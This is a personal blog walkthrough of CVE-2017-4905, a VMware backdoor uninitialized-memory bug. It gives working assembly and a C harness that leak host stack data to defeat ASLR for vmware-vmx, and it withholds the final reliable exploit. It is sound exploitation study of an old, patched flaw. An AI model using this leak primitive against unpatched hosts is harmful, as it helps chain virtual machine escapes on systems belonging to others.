Plackyhacker

OSCE3 | OSCE | OSCP

Home

ESXi, Workstation, and Fusion have Uninitialized memory usage, leading to an information leak

Introduction

At the time of writing I am currently studying for my OSEE exam. Alongside the course material I am looking at past CVEs to see if I can exploit them myself. As I learn effectively by ‘teaching’ I have decided to post my walkthroughs of exploiting known CVEs.

Although the CVE I am starting with is featured briefly in the AWE course I am not going to exploit the bug in the exact same way, use any of the course code provided, or leak any of the course material! I am starting with this one because it looks pretty easy to exploit.

CVE-2017-4905

This CVE affected VMware ESXi 6.5 without patch ESXi650-201703410-SG, 6.0 U3 without patch ESXi600-201703401-SG, 6.0 U2 without patch ESXi600-201703403-SG, 6.0 U1 without patch ESXi600-201703402-SG, 5.5 without patch ESXi550-201703401-SG; Workstation Pro / Player 12.x prior to 12.5.5; and Fusion Pro / Fusion 8.x prior to 8.5.6 have uninitialized memory usage.

The CVE relies upon the backdoor functionality in VMWare and was presented in the AWE course. However, I wanted to implement the backdoor protocol myself, differrent to how it was implemented in the course. I wanted to code the backdoor protocol (at least the elements that trigger the bug) entirely in asm.

The VMWare (now Broadcom) security advisory states “VMware would like to thank ZDI and Team Sniper from Tencent Security for reporting this issue to us”. So the best place to start is trying to find a PoC or details of the bug.

Tencent published A bunch of red pills VMWare escapes which contains the following statement:

“A buffer will be allocated on the stack when processing the backdoor requests. This buffer should be initialized in the BDOORHB callback. But when requesting invalid commands, the callback fails to properly clear the buffer, causing the uninitialized content of the stack buffer to be leaked to the guest. With this bug we can effectively defeat the ASLR of vmware-vmx running on the host.”

So, our task is to exploit this CVE to disclose the base address of vmware-vmx.

So What?

If you are completely new to binary exploitation you may be asking “who cares if we can disclose data on the stack?”, the key part is to effectively defeat ASLR. Address Space Layout Randomization is a mitigation to prevent the exploitation of memory corruption vulnerabilities by randomising the location in memory where modules are loaded. In short this bug can be exploited alongside other bugs to gain code execution in VMWare running in the host OS as it reveales the location of where executable code is in the vmware-vmx module.

backdoor

This type of exploit is essential in virtual machine escapes. Imagine being able to escape the matrix and operate in the host world!

The Backdoor Protocol

To write a backdoor protocol you need to include asm in your Visual Studio project, because that is how it works, by sending privileged level assembly instructions which are caught and handled by VMWare. If you do not understand how to write asm in your project check out my post on Exploring x64 Calling Conventions.

I have done my own research in the past about how the VMWare Backdoor protocol works, using a great resource published by Ken Kato: VMware Backdoor I/O Port.

I wrote a fully functioning VMWare Backdoor protocol on my GitHub pages. For this CVE we don’t actually have to implement the full protocol, just a high-bandwidth request with an invalid command, this is what I very quickly put together:

.CODE

BackdoorLeak PROC

    ; rcx contains the buffer address
    ; rdx contains the buffer size

    ; we will restore these later
    push rbx
    push rdi

    ; put the parameters in to the correct registers for VMWare
    mov rdi, rcx                 ; move the buffer address in to rdi
    mov rcx, rdx                 ; move the buffer size in to rcx

    ; make the high-bandwidth backdoor request
    ; -----------------------------------------------------------------------
    mov rax, 0564D5868h          ; Magic number 'VMXh'
    mov rdx, 05659h              ; Switch to high bandwidth
    mov rbx, 000002h             ; Magic number - this is an INVALID request/cmd        
    cld                          ; Make the request
    rep insb                     ; Repeat string operation is used

    ; finally move the output buffer in to rdx
    mov rdx, rdi

    ; restore the registers
    pop rdi
    pop rbx
    ret

BackdoorLeak ENDP
END

Testing the Bug

To test the bug I wrote a small C program to try and find out how the base address of the vmware-vmx host is leaked:

#include <iostream>
#include "windows.h"

#define BUFFER_SIZE 0x08000

// our buffer is passed in to rcx, and the size of the buffer is passed in to rdx
extern "C" BOOL BackdoorLeak(byte* buffer, size_t size);

// this function will search the buffer, the intention is to search
// multiuple leaked buffers and look for a reliable pattern
void search_buffer(byte* buffer, size_t size) {
    // the value we want to find - the base of vmware-vmx
    ULONGLONG testValue = 0x00007ff76ba30000;

    // the buffer to search
    ULONGLONG* bufferBase = (ULONGLONG*)buffer;
    ULONGLONG* offset = (ULONGLONG*)buffer;

    // loop over the buffer looking for the test value
    for (UINT i = 0; i < size / 8; i++)
    {
        if (testValue == (ULONGLONG)*offset++)
        {
            // if we find the base address we print the address and break in to WinDbg
            printf("Value found at memory address: 0x%p\n", offset - 1);
            DebugBreak();
        }
    }
}

int main()
{
    // leak the buffer multiple times and search for a leak
    for (int i = 0; i < 100; i++)
    {
        byte* buf = (byte*)VirtualAlloc(0, BUFFER_SIZE, MEM_COMMIT, PAGE_READWRITE);
        memset(buf, 0, BUFFER_SIZE);

        // leak the buffer using CVE-2017-4905
        BackdoorLeak(buf, BUFFER_SIZE);

        // search the buffer
        search_buffer(buf, BUFFER_SIZE);

        VirtualFree((void*)buf, BUFFER_SIZE, MEM_DECOMMIT);
    }   

    return 0;
}

This should be pretty easy to understand. We allocate some memory of 0x8000 bytes, call our asm function BackdoorLeak which leaks 0x8000 bytes of data from vmware-vmx into our buffer. We then do a search, in the search_buffer function for a static value of 0x00007ff76ba30000. Obviously in our final exploit this is the value we will be trying to leak and will not know it in advance. When developing our exploit we need to test our theories against known values, I used WinDbg in the host operating system to get the value of the vmware-vmx base address:

0:014> lm m vmware_vmx
Browse full module list
start             end                 module name
00007ff7`6ba30000 00007ff7`6d0bb000   vmware_vmx   (deferred)

If the base address is found then the program would display the address it was found at, using the offset from our allocated memory, and break in to WinDbg.

My First Run

I compiled the code, copied it to the guest OS, and ran it. This is what was displayed in the console:

image

I confirmed this in WinDbg:

0:000> dq 0x000001E52E967D68 L1
000001e5`2e967d68  00007ff7`6ba30000

This confirms that CVE-2017-4905 leaks the base address of vmware-vmx and we can use a simple set of assembly instructions to do this. My next task was to find a reliable way to leak the address.

Reliably Exploiting the Bug

I thought about how I could reliably exploit the bug. I carried out a lot of different tests by locating the known vmware-vmx base address in the leaked buffer and trying to find a reliable offset for it. There was also many pointers within vmware-vmx being leaked. It also turns out that this can be used with a very high-level of, if not 100%, predictability; the only difference is you would need to pick a pointer, calculate the offset from the vmware-vmx base address and find a reliable offset to where it was often leaked.

Here is my final running exploit:

image

The technique I used to locate the base address is very similar to the one presented on the AWE course so I will not publish it here without the fear of leaking course material.

Final Thoughts

I had done some research several months ago around how the VMWare Backdoor protocol worked and I wanted to implement my own assembly code to exploit CVE-2017-4905. This was really helpful to me in understanding how information disclosure bugs can be exploited to leak memory addresses that shouldn’t be readable. The icing on the cake was using my backdoor code to reliably leak memory from vmware-vmx. Unfortunately I cannot publish the final exploit as it is too similar to the one presented by OffSec.

Home

Comments

Feel free to leave comments or questions for this blog post. Please be respectful, I will moderate comments and reserve the right to remove them.